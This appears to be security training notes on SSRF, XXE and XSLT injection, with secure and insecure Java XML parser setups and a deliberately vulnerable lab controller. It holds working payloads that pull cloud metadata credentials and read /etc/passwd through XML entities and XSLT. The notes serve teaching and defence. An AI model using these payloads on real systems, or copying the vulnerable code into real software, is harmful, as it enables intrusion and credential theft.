The core idea behind input processing issues

user input -> decode -> process -> do stuff
              ^    vuln     ^

SSRF

issuing requests is dangerous, and getting responses can be fatal

POST /api/load?url=http://wherever.com HTTP/1.1

non-trivial examples:

  • files with external links being processed
  • loading and caching images or other media
  • webhooks
  • external service interaction

Exploitation

  • IMDSv1:
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
  • Header information disclosure/implied authentication:
POST /evil HTTP/1.1
X-Auth: mysupersecrettoken
  • Internal resources

case: signing data

  • data signing API endpoint
  • undocumented; allows loading files from URLs
  • allows embedding the signature in the file
  • allows reading arbitrary GET responses
return sign(load(data), key)

Mitigation

  • validate all input to make sure URLs cannot make it through
  • know which functions of your code implicitly accept URLs
  • WAF

XXE

XML has a lot of functions

DocumentBuilder db = DocumentBuilderFactory.newInstance().newDocumentBuilder();
Document doc = db.parse(input);

VS

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);

or

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);

sidenote: file read exploitation:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

sidenote: SSRF:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

Mitigation:

  • use secure XML parsers
  • alternatively, do not use XML; it is the year 2021 after all

XSLT

lab credits: https://github.com/eoftedal/deserialize

POST /api/contacts/1/html HTTP/1.1
Host: localhost
Content-Type: application/xslt
Accept: text/html
Content-Length: 241

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/">
  <xsl:value-of select="unparsed-text('/etc/passwd')"/>
 </xsl:template>
</xsl:stylesheet>

Code example:

@RequestMapping(value = " /{id}/html", method=RequestMethod.POST)
	@ResponseBody
	public final String format(@PathVariable int id, HttpEntity<String> xslt ){
		Contact contact = contactRepository.get(id);
		try {
    	String xml = Formatter.format(contact, xslt.getBody());
			return xml;
		} catch(Exception ex) {
			return ex.getMessage();
		}
	}

public class Formatter {
  public static String format(Contact contact, String xslt) throws Exception {
  	System.out.println(xslt);
		XStream xstream = new XStream();
		xstream.alias("contact", Contact.class);

		Path path = Paths.get("./doc.xslt");
	    Files.write(path, xslt.getBytes());
		TraxSource traxSource = new TraxSource(contact, xstream);
		Writer buffer = new StringWriter();
		Transformer transformer = TransformerFactory.newInstance().newTransformer(
		    new StreamSource(path.toFile()));
		transformer.transform(traxSource, new StreamResult(buffer));
		return buffer.toString();
	}
}